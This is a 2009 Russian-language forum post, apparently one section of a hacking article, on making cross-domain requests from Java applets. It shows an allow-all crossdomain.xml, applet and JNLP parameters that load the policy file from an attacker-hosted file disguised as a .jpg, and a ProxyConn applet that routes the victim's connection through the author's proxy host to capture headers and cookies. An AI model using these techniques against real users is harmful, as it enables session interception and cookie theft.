Показать сообщение отдельно

  #3  
Старый 15.07.2009, 05:47
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию

III. Java-запрос на сторонний сайт

1. Расширение sandbox (crossdomain.xml)

Апплету как недоверенному (untrusted) коду необходимы дополнительные права для выполнения запросов к стороннему хосту. И здесь до недавнего времени был только один легальный путь - подписывание апплета, при котором юзеру будет выведено уведомление о потенциальной опасности этих действий. Сейчас возможен второй вариант: наш сервер должен выдать апплету права с помощью отправки сертификата аналогично тому, как это происходит во Flash *****. Содержание этого сертификата, разрешающего доступ со всех доменов, также аналогичное.

crossdomain.xml
Код:
  
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
	<allow-access-from domain="*"/>
</cross-domain-policy>
Все части сертификата, кроме
Код:
<cross-domain-policy>
	<allow-access-from domain="*"/>
</cross-domain-policy>
,не являются обязательными, и их можно (а чаще всего и нужно) опустить.

Сертификат не принимается JVM, если содержит блок site-control (на данный момент), т.е. некоторые валидные во Flash сертификаты оказываются в JAVA бесполезными.

Возможность разрешения кроссдоменных подключений путем расширения sandbox присутствует в JAVA начиная с версии 6 update 10 (официальный релиз от октября 2008 г.)

Собственно из вышеприведенной информации ясно, что наша задача может заключаться не только во внедрении class-файла в целевой хост, но и в размещении там файла с кроссдоменным сертификатом. На данный момент по причине относительной новизны плагинов нового поколения, этот способ является менее предпочтительным. Преимущество одно - мы сами можем выбрать расширение для файла с сертификатом, т.к. content-type не проверяется.

При http-соединении Файл crossdomain.xml по умолчанию будет запрошен из корневой директории стороннего сайта по 80-му порту и сохранится в её кеше.
Местоположение сертификата безопасности, отличное от дефолтного, нужно указывать в теге param, вложенном в тег applet.

Код:
<param name="java_arguments" value="-Djnlp.altCrossDomainXMLFiles=http://mysite.xz/good/bad/ugly.jpg">
Несколько адресов сертификатов можно указывать через запятую-разделитель.

Дополнительным способом является указание параметров апплета в jnlp-файле, однако при этом необходимо размещать апплет в jar-архиве. В jnlp-файле имеется 3 места, в которых можно задать параметры:
- атрибут java-vm-args тега j2se (java) блока resources,
- тег property блока resources,
- тег param блока applet-desc (параметры, необходимые вашему апплету, но не исполняющей системе).

Ссылка на jnlp-файл указывается, как и остальные параметры апплета:

Код:
<applet>
<param name="jnlp_href" value="http://somesite.xz/jnlp.jnlp">
</applet>
А минимальный jnlp-файл, в котором определено альтернативное место расположения сертификата, будет выглядеть так:

Код:
<jnlp>
    <information>
        <title>.</title>
        <vendor>.</vendor>
    </information>
 
    <resources>
        <jar href="CExpr.jar"/>
        <j2se version="1.2+" java-vm-args="-Djnlp.altCrossDomainXMLFiles=http://mysite.xz/good/bad/ugly.jpg"/>
        <!-- 
        <property name="jnlp.altCrossDomainXMLFiles" value="http://mysite.xz/good/bad/ugly.jpg"/> 
        -->
    </resources>
    
    <applet-desc 
        name="."
        main-class="CExpr"
        width="1"
        height="1">
    </applet-desc>    
</jnlp>
Несмотря на то, что большинство возможностей плагинов нового поколения недоступны в Opera, кроссдоменные сертификаты поддерживаются, если ссылка на них указывается не в jnlp-файле, а в параметре java_arguments.

2. Проксирование клиента

Метод тесно связан с первым пунктом и привносит новое ко всему сказанному выше с точки зрения техники выполнения перехвата.

Класс URLConnection может работать через прокси. В апплетах данная возможность поддерживается везде, кроме браузера Opera, главный нативный метод которого nativeConnect(String urlString, byte httpMethodInt, com.opera.InputStream inputstream, com.opera.OutputStream outputstream, String extraHeaders) прокси-соединение не реализовал.

Проксирование приводит к тому, что в пределах инициируемого нами URL-соединения оно производится исключительно через наш прокси-сервер.
На подключение к прокси-серверу распространяются те же самые ограничения - соединение возможно только с базой кода. Таким образом, если прокси расположен на том же хосте, что и class-файл (или шире - база кода), то дополнительных прав на подключение к нему ява-машина не запросит. Если нет - будет запрошен сертификат.

ProxyConn.java
Код:
import java.applet.*;
import java.net.*;
import java.io.*;

public class ProxyConn extends Applet 
{
 public void start() 
 {
  try {
       Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("myproxyhost.xz", 80)); 
       URL url = getDocumentBase();
       HttpURLConnection conn = (HttpURLConnection) url.openConnection(proxy);
       conn.connect();
      }
  catch (Exception e){}
 }
}
Способ хорош тем, что задача сохранения всех заголовков переносится на наш прокси-сервер, соответственно, задача пересылки пользовательской стороной полученного результата снимается.

Такова общая картина. В данной статье Я не стал останавливаться на том, что относится к "уязвимостям", однако, истинно говорю вам, их здесь целая россыпь.

------------------
***** См. здесь _http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html, _http://www.securitylab.ru/contest/300506.php, _http://flexconstructor.blogspot.com/2008/11/flashplayer10.html. Кстати, во второй статье автор был вынужден использовать флеш-грабберы, потому что в AS нет средств для прямой работы с обычными cookie. В java, как мы видим, они есть, и это предоставляет нам большую свободу действий.


LeverOne. июль 2009 г.


Дополнительные источники

1. Апплеты нового поколения // Игорь Некрестьянов / 20.07.2008. _http://developers.sun.ru/content/view/193/89/
2. Новые возможности Desktop Java// Игорь Некрестьянов. _http://conference.javatalks.ru/data/6u10_overview.pdf
3. Release Notes for the Next-Generation Java™ Plug-In Technology JDK 6u10 _http://java.sun.com/javase/6/webnotes/6u10/plugin2/
4. Java Doodle: crossdomain.xml Support // Joshua Marinacci / 28.05.2008. _http://weblogs.java.net/blog/joshy/archive/2008/05/java_doodle_cro.html
5. JNLP Support in the New Java™ Plug-In Technology _https://jdk6.dev.java.net/plugin2/jnlp/
6. JNLP File Syntax _http://java.sun.com/javase/6/docs/technotes/guides/javaws/developersguide/syntax.html
7. Что такое Java Web Start и как это можно использовать // AntonSaburov. _http://base.vingrad.ru/view/125-CHto-takoe-Java-Web-Start-i-kak-eto-mozhno-ispolzovat_
8. Java & JavaScript: принципы и приемы взаимодействия // Всероссийский Клуб Веб-мастеров / 2007. _http://www.codenet.ru/webmast/js/js-java.php
9. LiveConnect. Обзор // Netscape Communications Corporation / 1999. _http://www.karaganda-rus.de/clientguide_13/lc.htm
10. Applet <-> Javascript integration // Louis Botterill / 23.11.2008. _http://louisbotterill.blogspot.com/2008/11/applet-javascript-integration.html

Последний раз редактировалось LeverOne; 03.11.2009 в 20:33..